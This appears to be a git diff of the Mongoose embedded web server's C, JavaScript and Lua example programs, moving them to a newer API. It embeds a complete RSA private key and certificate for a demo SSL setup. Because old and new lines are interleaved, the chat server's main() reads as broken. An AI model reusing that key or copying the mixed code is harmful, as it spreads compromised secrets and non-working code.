my_strlcpy(session->user, user, sizeof(session->user));
|
||||
snprintf(session->random, sizeof(session->random), "%d", rand());
|
||||
generate_session_id(session->session_id, session->random, session->user);
|
||||
send_server_message("<%s> joined", session->user);
|
||||
mg_printf(conn, "HTTP/1.1 302 Found\r\n"
|
||||
"Set-Cookie: session=%s; max-age=3600; http-only\r\n" // Session ID
|
||||
"Set-Cookie: user=%s\r\n" // Set user, needed by Javascript code
|
||||
"Set-Cookie: original_url=/; max-age=0\r\n" // Delete original_url
|
||||
"Location: /\r\n\r\n",
|
||||
session->session_id, session->user);
|
||||
} else {
|
||||
// Authentication failure, redirect to login.
|
||||
redirect_to_login(conn, request_info);
|
||||
}
|
||||
}
|
||||
|
||||
// Return 1 if request is authorized, 0 otherwise.
|
||||
static int is_authorized(const struct mg_connection *conn,
|
||||
const struct mg_request_info *request_info) {
|
||||
struct session *session;
|
||||
char valid_id[33];
|
||||
int authorized = 0;
|
||||
|
||||
// Always authorize accesses to login page and to authorize URI
|
||||
if (!strcmp(request_info->uri, login_url) ||
|
||||
!strcmp(request_info->uri, authorize_url)) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
pthread_rwlock_rdlock(&rwlock);
|
||||
if ((session = get_session(conn)) != NULL) {
|
||||
generate_session_id(valid_id, session->random, session->user);
|
||||
if (strcmp(valid_id, session->session_id) == 0) {
|
||||
session->expire = time(0) + SESSION_TTL;
|
||||
authorized = 1;
|
||||
}
|
||||
}
|
||||
pthread_rwlock_unlock(&rwlock);
|
||||
|
||||
return authorized;
|
||||
}
|
||||
|
||||
static void redirect_to_ssl(struct mg_connection *conn,
|
||||
const struct mg_request_info *request_info) {
|
||||
const char *p, *host = mg_get_header(conn, "Host");
|
||||
if (host != NULL && (p = strchr(host, ':')) != NULL) {
|
||||
mg_printf(conn, "HTTP/1.1 302 Found\r\n"
|
||||
"Location: https://%.*s:8082/%s:8082\r\n\r\n",
|
||||
(int) (p - host), host, request_info->uri);
|
||||
} else {
|
||||
mg_printf(conn, "%s", "HTTP/1.1 500 Error\r\n\r\nHost: header is not set");
|
||||
}
|
||||
}
|
||||
|
||||
static void *event_handler(enum mg_event event,
|
||||
struct mg_connection *conn) {
|
||||
const struct mg_request_info *request_info = mg_get_request_info(conn);
|
||||
void *processed = "yes";
|
||||
|
||||
if (event == MG_NEW_REQUEST) {
|
||||
if (!request_info->is_ssl) {
|
||||
redirect_to_ssl(conn, request_info);
|
||||
} else if (!is_authorized(conn, request_info)) {
|
||||
redirect_to_login(conn, request_info);
|
||||
} else if (strcmp(request_info->uri, authorize_url) == 0) {
|
||||
authorize(conn, request_info);
|
||||
} else if (strcmp(request_info->uri, "/ajax/get_messages") == 0) {
|
||||
ajax_get_messages(conn, request_info);
|
||||
} else if (strcmp(request_info->uri, "/ajax/send_message") == 0) {
|
||||
ajax_send_message(conn, request_info);
|
||||
} else {
|
||||
// No suitable handler found, mark as not processed. Mongoose will
|
||||
// try to serve the request.
|
||||
processed = NULL;
|
||||
}
|
||||
} else if (event == MG_EVENT_LOG) {
|
||||
printf("%s\n", (const char *) mg_get_request_info(conn)->ev_data);
|
||||
processed = NULL;
|
||||
} else {
|
||||
processed = NULL;
|
||||
}
|
||||
|
||||
return processed;
|
||||
}
|
||||
|
||||
static const char *options[] = {
|
||||
"document_root", "html",
|
||||
"listening_ports", "8081,8082s",
|
||||
"ssl_certificate", "ssl_cert.pem",
|
||||
"num_threads", "5",
|
||||
NULL
|
||||
};
|
||||
|
||||
int main(void) {
|
||||
struct mg_context *ctx;
|
||||
struct mg_server *server = mg_create_server(NULL);
|
||||
mg_set_option(server, "listening_port", "8080");
|
||||
mg_set_option(server, "document_root", "chat_html_root");
|
||||
|
||||
// Initialize random number generator. It will be used later on for
|
||||
// the session identifier creation.
|
||||
srand((unsigned) time(0));
|
||||
|
||||
// Setup and start Mongoose
|
||||
if ((ctx = mg_start(&event_handler, NULL, options)) == NULL) {
|
||||
printf("%s\n", "Cannot start chat server, fatal exit");
|
||||
exit(EXIT_FAILURE);
|
||||
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
|
||||
for (;;) {
|
||||
mg_poll_server(server, 1000);
|
||||
}
|
||||
mg_destroy_server(&server);
|
||||
|
||||
// Wait until enter is pressed, then exit
|
||||
printf("Chat server started on ports %s, press enter to quit.\n",
|
||||
mg_get_option(ctx, "listening_ports"));
|
||||
getchar();
|
||||
mg_stop(ctx);
|
||||
printf("%s\n", "Chat server stopped.");
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
return 0;
|
||||
}
|
||||
|
||||
// vim:ts=2:sw=2:et
|
||||
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
@@ -3,7 +3,7 @@
|
||||
var chat = {
|
||||
// Backend URL, string.
|
||||
// 'http://backend.address.com' or '' if backend is the same as frontend
|
||||
backendUrl: '',
|
||||
backendUrl: 'api.lp',
|
||||
maxVisibleMessages: 10,
|
||||
errorMessageFadeOutTimeoutMs: 2000,
|
||||
errorMessageFadeOutTimer: null,
|
||||
@@ -20,7 +20,7 @@ chat.refresh = function(data) {
|
||||
if (data === undefined) {
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
$.each(data, function(index, entry) {
|
||||
var row = $('<div>').addClass('message-row').appendTo('#mml');
|
||||
var timestamp = (new Date(entry.timestamp * 1000)).toLocaleTimeString();
|
||||
@@ -49,9 +49,7 @@ chat.refresh = function(data) {
|
||||
|
||||
chat.getMessages = function(enter_loop) {
|
||||
$.ajax({
|
||||
dataType: 'jsonp',
|
||||
url: chat.backendUrl + '/ajax/get_messages',
|
||||
data: {last_id: chat.lastMessageId},
|
||||
data: {last_id: chat.lastMessageId, cmd: 'get_messages'},
|
||||
success: chat.refresh,
|
||||
error: function() {
|
||||
},
|
||||
@@ -82,9 +80,7 @@ chat.handleMessageInput = function(ev) {
|
||||
return;
|
||||
//input.disabled = true;
|
||||
$.ajax({
|
||||
dataType: 'jsonp',
|
||||
url: chat.backendUrl + '/ajax/send_message',
|
||||
data: {text: input.value},
|
||||
data: { text: input.value, cmd: 'send_message' },
|
||||
success: function(ev) {
|
||||
input.value = '';
|
||||
input.disabled = false;
|
||||
@@ -98,6 +94,10 @@ chat.handleMessageInput = function(ev) {
|
||||
};
|
||||
|
||||
$(document).ready(function() {
|
||||
$.ajaxSetup({
|
||||
dataType: 'json',
|
||||
url: chat.backendUrl
|
||||
});
|
||||
$('.menu-item').click(chat.handleMenuItemClick);
|
||||
$('.message-input').keypress(chat.handleMessageInput);
|
||||
chat.getMessages(true);
|
||||
File renamed without changes.
@@ -0,0 +1,46 @@
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEowIBAAKCAQEA4+LVrSV4kvgr2AM5NSIewSfGwK5fXUOoYQ4vpjq2+H2hhOPP
|
||||
0WVyHkLWZXYek8ZmCqPFBvavzO9bveBprQIDTHexj83paaoV8IMugzymeWVONEwU
|
||||
8E9S6sGihCF01yOO5g4X7lmX7mypUDNJHZd/0SuSGezwSd+c41pY/CWmCW+61hls
|
||||
HjKdBp3Nked/u2aJ619D8NYPeu03V89P5x5hWrOWLSfmpd8pQ5tceVO56XjgmZLr
|
||||
FwUTK5Dq/3hUv1lyxHoSWGp5sQirZ5artLgkqCI+K+dwc2YZeeJBACllSqVuzJYh
|
||||
HSpnmKUwMXykJfKtTckfLoJX2VGgbqJWSZFkowIDAQABAoIBAHAKDR30p0QyyXOJ
|
||||
mi26Wb6DbN88m9xBsF4PWHP0uBKRycCJNJpxstqX58q4eS4URAUFIZBb5nDuWX+P
|
||||
/sS1kaOd0WmvRgvSOLkn9c1GG17h5MInib/gcBbFHr6xqD1B2TbYRQHFgMITIGcy
|
||||
38axvoC7WDhw2m6nhv3sZIWLiQdnvsUWF+mXQoRwyK9Me/3/N9atRELPd9rvbwkz
|
||||
ITyZQPE7IScSwVClspSBQMdJj4Bak8sQ8uKpxmIqpRGe9bqz2IO2hxkW9RiAT2CE
|
||||
4KZ1eqSM8q+VUlFfEo7IJ1lh8Anuo/h/qVnN2JTyCWoAW/YLIWUreLAOVCm3feV/
|
||||
fFO5sQkCgYEA8yzhvPegx1cPgtvEaAVJKbI9WBVCT7qAroDrfxBS3m37jHip8SDr
|
||||
4qfh+5OWG6J0hXEKCf1FbhDCDQOf6sQCMlBgR5BU/ALqiFWfEp+ysC10VtdCpEhA
|
||||
PgldtzLhXyApw536y05Ak3Yucii70m80bsXZR2alGWTfJ64e511hSM0CgYEA7+eI
|
||||
QXh9kuKwM143Bk7HWvLNJ71TAb+mp0OkOjmzMe2duoGi0DzTBlSh6AYdSYkMYSbc
|
||||
PW8bF88bTiq4rak9PuJGiFr7Iq5SMccpaZ+JIPnF2S8gdNB1hgfRsUDNHhb691/u
|
||||
3Q/7gOUpiWGrP5uP55/yuFyKkrp+gPGKLhrFIy8CgYA096q34WxI30LGqx3t1nDo
|
||||
PyWzgPXvrd0HpZcmFyUlw+kN4N6LYjNfLFhB1xTUMh+VTVj1chBkeAv8j7SOi2E7
|
||||
GlzOWbbZKb1yMswyX0ypqUz0+XBPnlk36gxash96++N883VEQWg5dn2Jaiv3Gzfd
|
||||
hQTd05LUpC8jUn7ywFlHZQKBgE3agWldxMKqNiw1Yv31CtUE/nbrBckHfPnDBcSv
|
||||
fOuzBQDFmSSi2IixZml5sn9urknI5qg5Kj2rxFy1mIEi7vE9VU5i2CUFFT96NoJE
|
||||
d6fv5rj4hjvieoEogHBZazdclc05oLa0vRWzSKuAuqZFwYmVaptRzNaZFvyZZhJY
|
||||
NamZAoGBANL8Jqht1s1qcLuBis1jZdjzUuF3xNMuxwqszD0zFZFAIUN097460zw+
|
||||
8LIeZgVMJOCmbVHja/RII9PI4vQ7h5rhTmeFWS80QMe22C1yukqEqljYO0POhxsu
|
||||
sm3plGS3rfGkMp1URDgnJL6m/y8gC4+/O6NIEoVaHpraW8//qCD6
|
||||
-----END RSA PRIVATE KEY-----
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIDEjCCAfoCBRQDhmJSMA0GCSqGSIb3DQEBBQUAMFMxFDASBgNVBAMTC2Nlc2Fu
|
||||
dGEuY29tMR0wGwYDVQQKExRDZXNhbnRhIFNvZnR3YXJlIEx0ZDELMAkGA1UEBhMC
|
||||
SUUxDzANBgNVBAcTBkR1YmxpbjAeFw0xNDA2MjcxMDUwNTFaFw0yNDA2MjQxMDUw
|
||||
NTFaMEcxFTATBgNVBAMTDDE5Mi4xNjguMS4yODEQMA4GA1UEChMHRm9vK0x0ZDEL
|
||||
MAkGA1UEBhMCSUUxDzANBgNVBAcTBkdhbHdheTCCASIwDQYJKoZIhvcNAQEBBQAD
|
||||
ggEPADCCAQoCggEBAOPi1a0leJL4K9gDOTUiHsEnxsCuX11DqGEOL6Y6tvh9oYTj
|
||||
z9Flch5C1mV2HpPGZgqjxQb2r8zvW73gaa0CA0x3sY/N6WmqFfCDLoM8pnllTjRM
|
||||
FPBPUurBooQhdNcjjuYOF+5Zl+5sqVAzSR2Xf9Erkhns8EnfnONaWPwlpglvutYZ
|
||||
bB4ynQadzZHnf7tmietfQ/DWD3rtN1fPT+ceYVqzli0n5qXfKUObXHlTuel44JmS
|
||||
6xcFEyuQ6v94VL9ZcsR6ElhqebEIq2eWq7S4JKgiPivncHNmGXniQQApZUqlbsyW
|
||||
IR0qZ5ilMDF8pCXyrU3JHy6CV9lRoG6iVkmRZKMCAwEAATANBgkqhkiG9w0BAQUF
|
||||
AAOCAQEAAxJSilcxos3v5aKllKTsx04Q/P39wQ07ywS1Yf9NsA7MlPU++qs3BqJJ
|
||||
kAaCPpfeAl8GjQLh75XV7rLvycvrluthpHzMRZhnbd+DLCt+FrS5zWWhm6M7535V
|
||||
FHGjuW59sAurARgcB530+bh6a0YNhKJbp3Si5ONhQfEuKPf+R6bPA1Slr2k/ts+K
|
||||
GIzwJbNTVRSor/wlb4F0seHFEv2rdtHt1g+VYlFVwBFawIOx3dU7hHxgzeoRYnik
|
||||
RGrPvhqK3u1wQ+2s/m2HPWj8CFjZ8V7f4sYRjLhpsbeJCy4A28nWvl+cCjAhCQKq
|
||||
Rawa0TcZiQtsj0jaTe71jhAMSMC6qw==
|
||||
-----END CERTIFICATE-----
|
||||
@@ -0,0 +1,22 @@
|
||||
#include "mongoose.h"
|
||||
|
||||
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||
switch (ev) {
|
||||
case MG_REQUEST:
|
||||
mg_send_file(conn, "file.c");
|
||||
return MG_MORE; // It is important to return MG_MORE after mg_send_file!
|
||||
case MG_AUTH: return MG_TRUE;
|
||||
default: return MG_FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
struct mg_server *server = mg_create_server(NULL, ev_handler);
|
||||
mg_set_option(server, "listening_port", "8080");
|
||||
|
||||
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
|
||||
for (;;) mg_poll_server(server, 1000);
|
||||
mg_destroy_server(&server);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include "mongoose.h"
|
||||
|
||||
static int static_value = 123; // Exposed and changeable via the form
|
||||
|
||||
static void print_html_form(struct mg_connection *conn) {
|
||||
mg_send_header(conn, "Content-Type", "text/html");
|
||||
mg_send_header(conn, "Cache-Control", "max-age=0, post-check=0, "
|
||||
"pre-check=0, no-store, no-cache, must-revalidate");
|
||||
|
||||
// Note that all the following normally should reside in static HTML page
|
||||
mg_printf_data(conn, "%s", "<html><head>");
|
||||
// It is better to use local copy though
|
||||
mg_printf_data(conn, "<script src=\"%s\"></script>",
|
||||
"http://code.jquery.com/jquery-1.11.0.min.js");
|
||||
mg_printf_data(conn, "%s", "<script> jQuery(function() {\n");
|
||||
// Here is the ajax call that fetches data from the device and
|
||||
// updates the form
|
||||
mg_printf_data(conn, "%s", "$.ajax({ url: '/get_value', dataType: 'json', "
|
||||
"success: function(d) { $('#val').val(d.value); }});\n");
|
||||
// This ajax call is triggered when submit button is pressed. It sends new
|
||||
// value to the device.
|
||||
mg_printf_data(conn, "%s", "$(document).on('click', '#button', function() {"
|
||||
" $.ajax({ url: '/set_value', dataType: 'json', "
|
||||
" data: { new_value: $('#val').val() } });\n"
|
||||
" return false; });\n");
|
||||
mg_printf_data(conn, "%s", "});</script>");
|
||||
mg_printf_data(conn, "%s", "</head><body>");
|
||||
mg_printf_data(conn, "%s", "<h1>Ajax form submission example</h1>");
|
||||
mg_printf_data(conn, "%s", "<form>");
|
||||
mg_printf_data(conn, "%s", "Device value: <input type=text id=val />");
|
||||
mg_printf_data(conn, "%s", "<input type=submit id=button />");
|
||||
mg_printf_data(conn, "%s", "</form>");
|
||||
mg_printf_data(conn, "%s", "</body></html>");
|
||||
}
|
||||
|
||||
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||
if (ev == MG_REQUEST) {
|
||||
if (strcmp(conn->uri, "/get_value") == 0) {
|
||||
mg_printf_data(conn, "{\"value\": %d}", static_value);
|
||||
} else if (strcmp(conn->uri, "/set_value") == 0) {
|
||||
// This Ajax endpoint sets the new value for the device variable
|
||||
char buf[100] = "";
|
||||
mg_get_var(conn, "new_value", buf, sizeof(buf)); // Get form variable
|
||||
static_value = atoi(buf); // Set new value
|
||||
mg_printf_data(conn, "%s", "{\"success\": true}");
|
||||
printf("Setting value to [%d]\n", static_value); // Debug trace
|
||||
} else {
|
||||
// Better way is to set "document_root" option, put "index.html" file
|
||||
// into document_root and return MG_FALSE here. We're printing HTML
|
||||
// page by hands just to keep everything in one C file.
|
||||
print_html_form(conn);
|
||||
}
|
||||
return MG_TRUE;
|
||||
} else if (ev == MG_AUTH) {
|
||||
return MG_TRUE;
|
||||
}
|
||||
|
||||
return MG_FALSE;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
struct mg_server *server;
|
||||
|
||||
// Create and configure the server
|
||||
server = mg_create_server(NULL, ev_handler);
|
||||
mg_set_option(server, "listening_port", "8000");
|
||||
|
||||
// Serve request. Hit Ctrl-C to terminate the program
|
||||
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
|
||||
for (;;) {
|
||||
mg_poll_server(server, 1000);
|
||||
}
|
||||
|
||||
// Cleanup, and free server instance
|
||||
mg_destroy_server(&server);
|
||||
|
||||
return 0;
|
||||
}
|
||||
+22
-24
@@ -2,36 +2,34 @@
|
||||
#include <string.h>
|
||||
#include "mongoose.h"
|
||||
|
||||
static void *callback(enum mg_event event,
|
||||
struct mg_connection *conn) {
|
||||
const struct mg_request_info *request_info = mg_get_request_info(conn);
|
||||
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||
int result = MG_FALSE;
|
||||
|
||||
if (event == MG_NEW_REQUEST) {
|
||||
char content[1024];
|
||||
int content_length = snprintf(content, sizeof(content),
|
||||
"Hello from mongoose! Remote port: %d",
|
||||
request_info->remote_port);
|
||||
mg_printf(conn,
|
||||
"HTTP/1.1 200 OK\r\n"
|
||||
"Content-Type: text/plain\r\n"
|
||||
"Content-Length: %d\r\n" // Always set Content-Length
|
||||
"\r\n"
|
||||
"%s",
|
||||
content_length, content);
|
||||
// Mark as processed
|
||||
return "";
|
||||
} else {
|
||||
return NULL;
|
||||
if (ev == MG_REQUEST) {
|
||||
mg_printf_data(conn, "Hello! Requested URI is [%s]", conn->uri);
|
||||
result = MG_TRUE;
|
||||
} else if (ev == MG_AUTH) {
|
||||
result = MG_TRUE;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
struct mg_context *ctx;
|
||||
const char *options[] = {"listening_ports", "8080", NULL};
|
||||
struct mg_server *server;
|
||||
|
||||
ctx = mg_start(&callback, NULL, options);
|
||||
getchar(); // Wait until user hits "enter"
|
||||
mg_stop(ctx);
|
||||
// Create and configure the server
|
||||
server = mg_create_server(NULL, ev_handler);
|
||||
mg_set_option(server, "listening_port", "8080");
|
||||
|
||||
// Serve request. Hit Ctrl-C to terminate the program
|
||||
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
|
||||
for (;;) {
|
||||
mg_poll_server(server, 1000);
|
||||
}
|
||||
|
||||
// Cleanup, and free server instance
|
||||
mg_destroy_server(&server);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
<? mg.write('HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\n') ?>
|
||||
<html><body>
|
||||
<span>Today is:</span> <? mg.write(os.date("%A")) ?>
|
||||
</body></html>
|
||||
@@ -0,0 +1,12 @@
|
||||
LOCAL_PATH := $(call my-dir)/../..
|
||||
include $(CLEAR_VARS)
|
||||
|
||||
# To build with lua support, uncomment two lines below:
|
||||
#LUA_SOURCES := build/lua_5.2.1.c build/sqlite3.c build/lsqlite3.c
|
||||
#LUA_FLAGS := -I$(LOCAL_PATH)/build -DTHREADSAFE=1 -DSQLITE_ENABLE_FTS3 -DSQLITE_ENABLE_FTS3_PARENTHESIS -DUSE_LUA -DUSE_LUA_SQLITE3 -DLUA_COMPAT_ALL -D"getlocaledecpoint() ='.'"
|
||||
|
||||
LOCAL_CFLAGS := -std=c99 -O2 -W -Wall -pthread -pipe $(LUA_FLAGS) $(COPT)
|
||||
LOCAL_MODULE := mongoose
|
||||
LOCAL_SRC_FILES := examples/server.c mongoose.c $(LUA_SOURCES)
|
||||
|
||||
include $(BUILD_EXECUTABLE)
|
||||
@@ -0,0 +1,15 @@
|
||||
HTTP/1.0 200 OK
|
||||
Content-Type: text/plain
|
||||
|
||||
<?
|
||||
-- Directory scanning example
|
||||
|
||||
function scandir(dir)
|
||||
local t = {}
|
||||
for f in io.popen('dir ' .. dir):lines() do table.insert(t, f) end
|
||||
return t
|
||||
end
|
||||
|
||||
local tab = scandir('C:\\')
|
||||
for k,v in pairs(tab) do mg.write(v, '\n') end
|
||||
?>
|
||||
@@ -0,0 +1,42 @@
|
||||
HTTP/1.0 200 OK
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<p>Prime numbers from 0 to 100, calculated by Lua:</p>
|
||||
<?
|
||||
function is_prime(n)
|
||||
if n <= 0 then return false end
|
||||
if n <= 2 then return true end
|
||||
if (n % 2 == 0) then return false end
|
||||
for i = 3, n / 2, 2 do
|
||||
if (n % i == 0) then return false end
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
for i = 1, 100 do
|
||||
if is_prime(i) then mg.write('<span>' .. i .. '</span> ') end
|
||||
end
|
||||
|
||||
?>
|
||||
|
||||
<p>Reading POST data from Lua (click submit):</p>
|
||||
<form method="POST" ><input type="text" name="t1"/><input type="submit"></form>
|
||||
|
||||
<pre>
|
||||
POST data: [<? mg.write(mg.request_info.content) ?>]
|
||||
request method: [<? mg.write(mg.request_info.request_method) ?>]
|
||||
IP/port: [<?mg.write(mg.request_info.remote_ip, ':',
|
||||
mg.request_info.remote_port) ?>]
|
||||
URI: [<? mg.write(mg.request_info.uri) ?>]
|
||||
HTTP version [<? mg.write(mg.request_info.http_version) ?>]
|
||||
Content Len: [<? mg.write(mg.request_info.content_len) ?>]
|
||||
HEADERS:
|
||||
<?
|
||||
for name, value in pairs(mg.request_info.http_headers) do
|
||||
mg.write(name, ':', value, '\n')
|
||||
end
|
||||
?>
|
||||
|
||||
</pre>
|
||||
</html>
|
||||
@@ -0,0 +1,17 @@
|
||||
#include <stdio.h>
|
||||
#include "lua_5.2.1.h"
|
||||
|
||||
static int smile(lua_State *L) {
|
||||
(void) L; // Unused
|
||||
printf("%s\n", ":-)");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int LUA_API luaopen_lua_dll(lua_State *L) {
|
||||
static const struct luaL_Reg api[] = {
|
||||
{"smile", smile},
|
||||
{NULL, NULL},
|
||||
};
|
||||
luaL_openlib(L, "lua_dll", api, 0);
|
||||
return 1;
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
#include <sys/stat.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
#include "mongoose.h"
|
||||
|
||||
static void send_file(struct mg_connection *conn, const char *path) {
|
||||
char buf[1024];
|
||||
struct stat st;
|
||||
int n;
|
||||
FILE *fp;
|
||||
|
||||
if (stat(path, &st) == 0 && (fp = fopen(path, "rb")) != NULL) {
|
||||
mg_printf(conn, "--myboundary\r\nContent-Type: image/jpeg\r\n"
|
||||
"Content-Length: %llu\r\n\r\n", (unsigned long long) st.st_size);
|
||||
while ((n = fread(buf, 1, sizeof(buf), fp)) > 0) {
|
||||
mg_write(conn, buf, n);
|
||||
}
|
||||
fclose(fp);
|
||||
mg_write(conn, "\r\n", 2);
|
||||
}
|
||||
}
|
||||
|
||||
struct conn_state {
|
||||
int file_index;
|
||||
time_t last_poll;
|
||||
};
|
||||
|
||||
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||
const char **file_names = (const char **) conn->server_param;
|
||||
struct conn_state *state;
|
||||
int result = MG_FALSE;
|
||||
|
||||
if (ev == MG_REQUEST) {
|
||||
mg_printf(conn, "%s",
|
||||
"HTTP/1.0 200 OK\r\n" "Cache-Control: no-cache\r\n"
|
||||
"Pragma: no-cache\r\nExpires: Thu, 01 Dec 1994 16:00:00 GMT\r\n"
|
||||
"Connection: close\r\nContent-Type: multipart/x-mixed-replace; "
|
||||
"boundary=--myboundary\r\n\r\n");
|
||||
|
||||
send_file(conn, file_names[0]);
|
||||
|
||||
state = (struct conn_state *) malloc(sizeof(*state));
|
||||
conn->connection_param = state;
|
||||
state->file_index = 1; // First file is already sent
|
||||
state->last_poll = time(NULL);
|
||||
result = MG_MORE;
|
||||
|
||||
} else if (ev == MG_POLL) {
|
||||
|
||||
time_t now = time(NULL);
|
||||
state = (struct conn_state *) conn->connection_param;
|
||||
|
||||
if (state != NULL && now > state->last_poll) {
|
||||
if (file_names[state->file_index] != NULL) {
|
||||
send_file(conn, file_names[state->file_index]);
|
||||
state->file_index++;
|
||||
if (file_names[state->file_index] == NULL) {
|
||||
result = MG_TRUE; // No more images, close connection
|
||||
}
|
||||
}
|
||||
state->last_poll = now;
|
||||
}
|
||||
|
||||
} else if (ev == MG_CLOSE) {
|
||||
free(conn->connection_param);
|
||||
conn->connection_param = NULL;
|
||||
} else if (ev == MG_AUTH) {
|
||||
result = MG_TRUE;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
struct mg_server *server;
|
||||
|
||||
if (argc < 3) {
|
||||
printf("Usage: %s image1.jpg image2.jpg ...\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
server = mg_create_server(&argv[1], ev_handler);
|
||||
mg_set_option(server, "listening_port", "8080");
|
||||
|
||||
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
|
||||
for (;;) {
|
||||
mg_poll_server(server, 1000);
|
||||
}
|
||||
mg_destroy_server(&server);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,53 @@
|
||||
# This program is used to embed arbitrary data into a C binary. It takes
|
||||
# a list of files as an input, and produces a .c data file that contains
|
||||
# contents of all these files as collection of char arrays.
|
||||
#
|
||||
# Usage: perl <this_file> <file1> [file2, ...] > embedded_data.c
|
||||
|
||||
foreach my $i (0 .. $#ARGV) {
|
||||
open FD, '<:raw', $ARGV[$i] or die "Cannot open $ARGV[$i]: $!\n";
|
||||
printf("static const unsigned char v%d[] = {", $i);
|
||||
my $byte;
|
||||
my $j = 0;
|
||||
while (read(FD, $byte, 1)) {
|
||||
if (($j % 12) == 0) {
|
||||
print "\n";
|
||||
}
|
||||
printf ' %#04x,', ord($byte);
|
||||
$j++;
|
||||
}
|
||||
print " 0x00\n};\n";
|
||||
close FD;
|
||||
}
|
||||
|
||||
print <<EOS;
|
||||
|
||||
#include <stddef.h>
|
||||
#include <string.h>
|
||||
|
||||
static const struct embedded_file {
|
||||
const char *name;
|
||||
const unsigned char *data;
|
||||
size_t size;
|
||||
} embedded_files[] = {
|
||||
EOS
|
||||
|
||||
foreach my $i (0 .. $#ARGV) {
|
||||
print " {\"$ARGV[$i]\", v$i, sizeof(v$i) - 1},\n";
|
||||
}
|
||||
|
||||
print <<EOS;
|
||||
{NULL, NULL, 0}
|
||||
};
|
||||
|
||||
const char *find_embedded_file(const char *name, size_t *size) {
|
||||
const struct embedded_file *p;
|
||||
for (p = embedded_files; p->name != NULL; p++) {
|
||||
if (!strcmp(p->name, name)) {
|
||||
if (size != NULL) { *size = p->size; }
|
||||
return (const char *) p->data;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
EOS
|
||||
@@ -0,0 +1,40 @@
|
||||
#include "mongoose.h"
|
||||
|
||||
// Start a browser and hit refresh couple of times. The replies will
|
||||
// come from both server instances.
|
||||
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||
if (ev == MG_REQUEST) {
|
||||
mg_send_header(conn, "Content-Type", "text/plain");
|
||||
mg_printf_data(conn, "This is a reply from server instance # %s",
|
||||
(char *) conn->server_param);
|
||||
return MG_TRUE;
|
||||
} else if (ev == MG_AUTH) {
|
||||
return MG_TRUE;
|
||||
} else {
|
||||
return MG_FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
static void *serve(void *server) {
|
||||
for (;;) mg_poll_server((struct mg_server *) server, 1000);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
struct mg_server *server1, *server2;
|
||||
|
||||
server1 = mg_create_server((void *) "1", ev_handler);
|
||||
server2 = mg_create_server((void *) "2", ev_handler);
|
||||
|
||||
// Make both server1 and server2 listen on the same socket
|
||||
mg_set_option(server1, "listening_port", "8080");
|
||||
mg_set_listening_socket(server2, mg_get_listening_socket(server1));
|
||||
|
||||
// server1 goes to separate thread, server 2 runs in main thread.
|
||||
// IMPORTANT: NEVER LET DIFFERENT THREADS HANDLE THE SAME SERVER.
|
||||
mg_start_thread(serve, server1);
|
||||
mg_start_thread(serve, server2);
|
||||
getchar();
|
||||
|
||||
return 0;
|
||||
}
|
||||
+39
-38
@@ -10,52 +10,53 @@ static const char *html_form =
|
||||
"<input type=\"submit\" />"
|
||||
"</form></body></html>";
|
||||
|
||||
static void *callback(enum mg_event event,
|
||||
struct mg_connection *conn) {
|
||||
const struct mg_request_info *ri = mg_get_request_info(conn);
|
||||
static void send_reply(struct mg_connection *conn) {
|
||||
char var1[500], var2[500];
|
||||
|
||||
if (event == MG_NEW_REQUEST) {
|
||||
if (!strcmp(ri->uri, "/handle_post_request")) {
|
||||
// User has submitted a form, show submitted data and a variable value
|
||||
char post_data[1024],
|
||||
input1[sizeof(post_data)], input2[sizeof(post_data)];
|
||||
int post_data_len;
|
||||
if (strcmp(conn->uri, "/handle_post_request") == 0) {
|
||||
// User has submitted a form, show submitted data and a variable value
|
||||
// Parse form data. var1 and var2 are guaranteed to be NUL-terminated
|
||||
mg_get_var(conn, "input_1", var1, sizeof(var1));
|
||||
mg_get_var(conn, "input_2", var2, sizeof(var2));
|
||||
|
||||
// Read POST data
|
||||
post_data_len = mg_read(conn, post_data, sizeof(post_data));
|
||||
|
||||
// Parse form data. input1 and input2 are guaranteed to be NUL-terminated
|
||||
mg_get_var(post_data, post_data_len, "input_1", input1, sizeof(input1));
|
||||
mg_get_var(post_data, post_data_len, "input_2", input2, sizeof(input2));
|
||||
|
||||
mg_printf(conn, "HTTP/1.0 200 OK\r\n"
|
||||
"Content-Type: text/plain\r\n\r\n"
|
||||
"Submitted data: [%.*s]\n"
|
||||
"Submitted data length: %d bytes\n"
|
||||
"input_1: [%s]\n"
|
